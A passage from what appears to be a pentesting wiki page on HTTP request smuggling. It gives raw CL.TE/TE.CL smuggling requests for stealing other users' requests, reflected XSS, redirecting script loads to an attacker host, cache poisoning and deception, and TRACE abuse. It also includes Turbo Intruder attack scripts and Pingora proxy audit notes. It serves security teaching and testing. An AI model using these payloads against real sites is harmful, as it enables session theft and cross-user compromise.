    589 Content-Length: 130
    590 Connection: keep-alive
    591 Transfer-Encoding: chunked
    592 
    593 0
    594 
    595 POST /search HTTP/1.1
    596 Host: vulnerable-website.com
    597 Content-Type: application/x-www-form-urlencoded
    598 Content-Length: 100
    599 
    600 search=
    601 ```
    602 
    603 In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
    604 
    605 It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
    606 
    607 This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
    608 
    609 This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
    610 
    611 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
    612 
    613 It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:<sup>[[3]](#references)</sup>
    614 
    615 By appending the following request as the value of a parameter, you can store the subsequent client's request:
    616 
    617 ```text
    618 POST / HTTP/1.1
    619 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
    620 Content-Type: application/x-www-form-urlencoded
    621 Content-Length: 319
    622 Connection: keep-alive
    623 Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
    624 Transfer-Encoding: chunked
    625 
    626 0
    627 
    628 POST /post/comment HTTP/1.1
    629 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
    630 Content-Length: 659
    631 Content-Type: application/x-www-form-urlencoded
    632 Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
    633 
    634 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
    635 ```
    636 
    637 In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
    638 
    639 However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
    640 
    641 Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
    642 
    643 ### Using HTTP request smuggling to exploit reflected XSS
    644 
    645 HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
    646 
    647 - Interaction with the target users is **not required**.
    648 - Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.<sup>[[3]](#references)</sup>
    649 
    650 In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
    651 
    652 ```text
    653 POST / HTTP/1.1
    654 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
    655 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    656 Cookie: session=ac311fa41f0aa1e880b0594d008d009e
    657 Transfer-Encoding: chunked
    658 Connection: keep-alive
    659 Content-Length: 213
    660 Content-Type: application/x-www-form-urlencoded
    661 
    662 0
    663 
    664 GET /post?postId=2 HTTP/1.1
    665 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
    666 User-Agent: "><script>alert(1)</script>
    667 Content-Length: 10
    668 Content-Type: application/x-www-form-urlencoded
    669 
    670 A=
    671 ```
    672 
    673 This payload is structured to exploit the vulnerability by:
    674 
    675 1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
    676 2. Following with a `0`, marking the end of the chunked message body.
    677 3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
    678 
    679 By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
    680 
    681 #### HTTP/0.9
    682 
    683 > [!CAUTION]
    684 > In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
    685 
    686 The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
    687 
    688 In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.<sup>[[10]](#references)</sup>
    689 
    690 ### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
    691 
    692 Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:<sup>[[3]](#references)</sup>
    693 
    694 ```text
    695 GET /home HTTP/1.1
    696 Host: normal-website.com
    697 ```
    698 
    699 Results in:
    700 
    701 ```text
    702 HTTP/1.1 301 Moved Permanently
    703 Location: https://normal-website.com/home/
    704 ```
    705 
    706 Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:
    707 
    708 ```text
    709 POST / HTTP/1.1
    710 Host: vulnerable-website.com
    711 Content-Length: 54
    712 Connection: keep-alive
    713 Transfer-Encoding: chunked
    714 
    715 0
    716 
    717 GET /home HTTP/1.1
    718 Host: attacker-website.com
    719 Foo: X
    720 ```
    721 
    722 This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website:
    723 
    724 ```text
    725 GET /home HTTP/1.1
    726 Host: attacker-website.com
    727 Foo: XGET /scripts/include.js HTTP/1.1
    728 Host: vulnerable-website.com
    729 ```
    730 
    731 Results in:
    732 
    733 ```text
    734 HTTP/1.1 301 Moved Permanently
    735 Location: https://attacker-website.com/home/
    736 ```
    737 
    738 In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
    739 
    740 ### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
    741 
    742 Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.<sup>[[3]](#references)</sup>
    743 
    744 Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](#basic-examples)). Similarly, it’s feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
    745 
    746 This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
    747 
    748 Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
    749 
    750 ```text
    751 POST / HTTP/1.1
    752 Host: vulnerable.net
    753 Content-Type: application/x-www-form-urlencoded
    754 Connection: keep-alive
    755 Content-Length: 124
    756 Transfer-Encoding: chunked
    757 
    758 0
    759 
    760 GET /post/next?postId=3 HTTP/1.1
    761 Host: attacker.net
    762 Content-Type: application/x-www-form-urlencoded
    763 Content-Length: 10
    764 
    765 x=1
    766 ```
    767 
    768 Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
    769 
    770 After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
    771 
    772 Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
    773 
    774 ### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
    775 
    776 > **What is the difference between web cache poisoning and web cache deception?**
    777 >
    778 > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
    779 > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.<sup>[[3]](#references)</sup>
    780 
    781 The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
    782 
    783 ```markdown
    784 `POST / HTTP/1.1`\
    785 `Host: vulnerable-website.com`\
    786 `Connection: keep-alive`\
    787 `Content-Length: 43`\
    788 `Transfer-Encoding: chunked`\
    789 `` \ `0`\ ``\
    790 `GET /private/messages HTTP/1.1`\
    791 `Foo: X`
    792 ```
    793 
    794 If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
    795 
    796 ### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
    797 
    798 [**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:<sup>[[8]](#references)</sup>
    799 
    800 ```text
    801 TRACE / HTTP/1.1
    802 Host: example.com
    803 XSS: <script>alert("TRACE")</script>
    804 ```
    805 
    806 Will send a response such as:
    807 
    808 ```text
    809 HTTP/1.1 200 OK
    810 Content-Type: message/http
    811 Content-Length: 115
    812 
    813 TRACE / HTTP/1.1
    814 Host: vulnerable.com
    815 XSS: <script>alert("TRACE")</script>
    816 X-Forwarded-For: xxx.xxx.xxx.xxx
    817 ```
    818 
    819 An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
    820 As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
    821 This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
    822 
    823 ### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
    824 
    825 Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.<sup>[[8]](#references)</sup>
    826 
    827 Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
    828 
    829 Example:
    830 
    831 ```text
    832 GET / HTTP/1.1
    833 Host: example.com
    834 Content-Length: 360
    835 
    836 HEAD /smuggled HTTP/1.1
    837 Host: example.com
    838 
    839 POST /reflect HTTP/1.1
    840 Host: example.com
    841 
    842 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
    843 Content-Type: text/html\r\n
    844 Cache-Control: max-age=1000000\r\n
    845 Content-Length: 44\r\n
    846 \r\n
    847 <script>alert("response splitting")</script>
    848 ```
    849 
    850 Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):
    851 
    852 ```text
    853 HTTP/1.1 200 OK
    854 Content-Type: text/html
    855 Content-Length: 0
    856 
    857 HTTP/1.1 200 OK
    858 Content-Type: text/html
    859 Content-Length: 165
    860 
    861 HTTP/1.1 200 OK
    862 Content-Type: text/plain
    863 Content-Length: 243
    864 
    865 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
    866 Content-Type: text/html
    867 Cache-Control: max-age=1000000
    868 Content-Length: 50
    869 
    870 <script>alert(“arbitrary response”)</script>
    871 ```
    872 
    873 ### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
    874 
    875 Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
    876 
    877 
    878 [Http Response Smuggling Desync](/hacktricks/pentesting-web/http-response-smuggling-desync)
    879 
    880 #### Dangling-byte Response Queue Poisoning
    881 
    882 Classic response-queue poisoning often fails because the back-end emits **two responses immediately**, the front-end over-reads into the second one, and resets the connection (the **stacked-response** problem). A strong workaround is to smuggle an **incomplete inner request** whose declared body is missing **exactly one byte**. When the victim later sends `GET /victim...`, the first byte (`G`) completes the smuggled body's missing byte and the remaining bytes (`ET /victim...`) are parsed separately, shifting the response queue without the original race. The next attacker request can then receive the victim response. This works best on method-agnostic back-ends and is one of the most reliable modern RQP upgrades.<sup>[[22]](#references)</sup>
    883 
    884 ```http
    885 POST / HTTP/1.1
    886 Host: target
    887 Content-Type: multipart/byteranges;
    888 Content-Length: 123
    889 
    890 POST /smuggled HTTP/1.1
    891 Host: target
    892 Content-Length: 1
    893 ```
    894 
    895 For full response-side variants, content-confusion chains, and cache-poisoning escalations, review the dedicated response desync page above.<sup>[[22]](#references)</sup>
    896 
    897 ### Anomaly-driven discovery
    898 
    899 Do not discard "weird but unclassified" results. Log mixed text/binary output, duplicated HTML documents, NUL-filled leaks, inline HTTP status lines/headers, and multiple responses to clean single requests. These anomalies can reveal memory disclosure, response forking, or fresh cross-request contamination primitives even when the original probe was not designed as a desync test.<sup>[[22]](#references)</sup>
    900 
    901 ### Other HTTP Request Smuggling Techniques
    902 
    903 - Browser HTTP Request Smuggling (Client Side)
    904 
    905 
    906 [Browser Http Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling)
    907 
    908 - Request Smuggling in HTTP/2 Downgrades<sup>[[7]](#references)</sup>
    909 
    910 
    911 [Request Smuggling In Http 2 Downgrades](/hacktricks/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades)
    912 
    913 ## Turbo intruder scripts
    914 
    915 ### CL.TE
    916 
    917 From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)<sup>[[20]](#references)</sup>
    918 
    919 ```python
    920 def queueRequests(target, wordlists):
    921 
    922     engine = RequestEngine(endpoint=target.endpoint,
    923                            concurrentConnections=5,
    924                            requestsPerConnection=1,
    925                            resumeSSL=False,
    926                            timeout=10,
    927                            pipeline=False,
    928                            maxRetriesPerRequest=0,
    929                            engine=Engine.THREADED,
    930                            )
    931     engine.start()
    932 
    933     attack = '''POST / HTTP/1.1
    934  Transfer-Encoding: chunked
    935 Host: xxx.com
    936 Content-Length: 35
    937 Foo: bar
    938 
    939 0
    940 
    941 GET /admin7 HTTP/1.1
    942 X-Foo: k'''
    943 
    944     engine.queue(attack)
    945 
    946     victim = '''GET / HTTP/1.1
    947 Host: xxx.com
    948 
    949 '''
    950     for i in range(14):
    951         engine.queue(victim)
    952         time.sleep(0.05)
    953 
    954 def handleResponse(req, interesting):
    955     table.add(req)
    956 ```
    957 
    958 ### TE.CL
    959 
    960 From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)<sup>[[21]](#references)</sup>
    961 
    962 ```python
    963 def queueRequests(target, wordlists):
    964     engine = RequestEngine(endpoint=target.endpoint,
    965                            concurrentConnections=5,
    966                            requestsPerConnection=1,
    967                            resumeSSL=False,
    968                            timeout=10,
    969                            pipeline=False,
    970                            maxRetriesPerRequest=0,
    971                            engine=Engine.THREADED,
    972                            )
    973     engine.start()
    974 
    975     attack = '''POST / HTTP/1.1
    976 Host: xxx.com
    977 Content-Length: 4
    978 Transfer-Encoding : chunked
    979 
    980 46
    981 POST /nothing HTTP/1.1
    982 Host: xxx.com
    983 Content-Length: 15
    984 
    985 kk
    986 0
    987 
    988 '''
    989     engine.queue(attack)
    990 
    991     victim = '''GET / HTTP/1.1
    992 Host: xxx.com
    993 
    994 '''
    995     for i in range(14):
    996         engine.queue(victim)
    997         time.sleep(0.05)
    998 
    999 
   1000 def handleResponse(req, interesting):
   1001     table.add(req)
   1002 ```
   1003 
   1004 ## Reverse-proxy parsing footguns (Pingora 2026)
   1005 
   1006 Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.<sup>[[16]](#references)</sup><sup>[[17]](#references)</sup><sup>[[18]](#references)</sup><sup>[[19]](#references)</sup>
   1007 
   1008 ### Premature `Upgrade` passthrough
   1009 
   1010 If a reverse proxy **switches to raw tunnel / passthrough mode as soon as it sees an `Upgrade` header**, without waiting for the backend to confirm the switch with **`101 Switching Protocols`**, you can smuggle a second request in the same TCP stream:
   1011 
   1012 ```http
   1013 GET / HTTP/1.1
   1014 Host: target.com
   1015 Upgrade: anything
   1016 Content-Length: 0
   1017 
   1018 GET /admin HTTP/1.1
   1019 Host: target.com
   1020 ```
   1021 
   1022 The front-end parses only the first request, then forwards the rest as raw bytes. The backend parses the appended bytes as a new request from the proxy's trusted IP. This is especially useful to:
   1023 
   1024 - Bypass proxy ACLs, WAF rules, auth checks, and rate limits.
   1025 - Reach internal-only endpoints that trust the reverse proxy IP.
   1026 - Trigger cross-user response queue poisoning on reused backend connections.
   1027 
   1028 When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`.
   1029 
   1030 ### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback
   1031 
   1032 Another useful pattern is:
   1033 
   1034 1. The proxy sees that `Transfer-Encoding` is present, so it strips `Content-Length`.
   1035 2. The proxy **fails to normalize TE correctly**.
   1036 3. The proxy now has **no recognized framing** and falls back to **close-delimited request bodies** for HTTP/1.0.
   1037 4. The backend correctly understands TE and treats bytes after `0\r\n\r\n` as a new request.
   1038 
   1039 Common ways to trigger this:
   1040 
   1041 - **Comma-separated TE list not parsed**:
   1042 
   1043 ```http
   1044 GET / HTTP/1.0
   1045 Host: target.com
   1046 Connection: keep-alive
   1047 Transfer-Encoding: identity, chunked
   1048 Content-Length: 29
   1049 
   1050 0
   1051 
   1052 GET /admin HTTP/1.1
   1053 X:
   1054 ```
   1055 
   1056 - **Duplicate TE headers not merged**:
   1057 
   1058 ```http
   1059 POST /legit HTTP/1.0
   1060 Host: target.com
   1061 Connection: keep-alive
   1062 Transfer-Encoding: identity
   1063 Transfer-Encoding: chunked
   1064 
   1065 0
   1066 
   1067 GET /admin HTTP/1.1
   1068 Host: target.com
   1069 X:
   1070 ```
   1071 
   1072 The important audit checks are:
   1073 
   1074 - Does the front-end parse the **last** TE token, as required when `chunked` is last?
   1075 - Does it use **all** `Transfer-Encoding` headers instead of just the first one?
   1076 - Can you force **HTTP/1.0** to trigger a read-until-close body mode?
   1077 - Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself.
   1078 
   1079 This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**.
   1080 
   1081 ### Related cache poisoning primitive: path-only cache keys
   1082 
   1083 The same Pingora audit also exposed a dangerous reverse-proxy cache anti-pattern: deriving the cache key **only from the URI path**, while ignoring **Host**, scheme, or port. In multi-tenant or multi-vhost deployments, different hosts can then collide on the same cache entry:
   1084 
   1085 ```http
   1086 GET /api/data HTTP/1.1
   1087 Host: evil.com
   1088 ```
   1089 
   1090 ```http
   1091 GET /api/data HTTP/1.1
   1092 Host: victim.com
   1093 ```
   1094 
   1095 If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**.
   1096 
   1097 When reviewing caches, confirm that the key includes at least:
   1098 
   1099 - `Host` / virtual host identity
   1100 - scheme (`http` vs `https`) when behavior differs
   1101 - port when multiple applications share the same cache namespace
   1102 
   1103 ## Tools
   1104 
   1105 - [HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler) provides Burp-based request-smuggling probes and automation helpers.<sup>[[5]](#references)</sup>
   1106 - HTTP Hacker (Burp BApp Store) – visualize concatenation/framing and low‑level HTTP behavior
   1107 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
   1108 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
   1109 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
   1110 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
   1111 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
   1112 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
   1113 - [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
   1114 
   1115 ## References
   1116 
   1117 - [1] [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
   1118 - [2] [PortSwigger - Finding HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
   1119 - [3] [PortSwigger - Exploiting HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
   1120 - [4] [HTTP Request Smuggling in Plain English](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
   1121 - [5] [PortSwigger - HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler)
   1122 - [6] [PortSwigger Academy - Basic CL.TE request smuggling](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
   1123 - [7] [PortSwigger Academy - HTTP/2 downgrading](https://portswigger.net/web-security/request-smuggling/advanced/http2-downgrading)
   1124 - [8] [PortSwigger Research - TRACE Desync Attack](https://portswigger.net/research/trace-desync-attack)
   1125 - [9] [Bugcrowd - Unveiling TE.0 HTTP Request Smuggling: Discovering a Critical Vulnerability in Thousands of Google Cloud Websites](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
   1126 - [10] [Twisty Python (mizu.re)](https://mizu.re/post/twisty-python)
   1127 - [11] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
   1128 - [12] [HTTP/1 Must Die](https://http1mustdie.com/)
   1129 - [13] [PortSwigger Research - Browser‑Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
   1130 - [14] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
   1131 - [15] [PortSwigger Research - HTTP/1 Must Die: The Desync Endgame](https://portswigger.net/research/http1-must-die)
   1132 - [16] [xclow3n - Breaking Pingora: HTTP Request Smuggling & Cache Poisoning (archived)](https://web.archive.org/web/20260000000000id_/https://xclow3n.github.io/post/6/)
   1133 - [17] [Cloudflare Pingora Security Advisory GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv)
   1134 - [18] [Cloudflare Pingora Security Advisory GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7)
   1135 - [19] [Cloudflare Pingora Security Advisory GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc)
   1136 - [20] [hipotermia.pw - HTTP Desync IDOR (Turbo Intruder CL.TE script)](https://hipotermia.pw/bb/http-desync-idor)
   1137 - [21] [hipotermia.pw - HTTP Desync Account Takeover (Turbo Intruder TE.CL script)](https://hipotermia.pw/bb/http-desync-account-takeover)
   1138 - [22] [PortSwigger Research - Can AI do novel security research? Meet the HTTP Terminator](https://portswigger.net/research/http-terminator)
   1139 - [23] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks)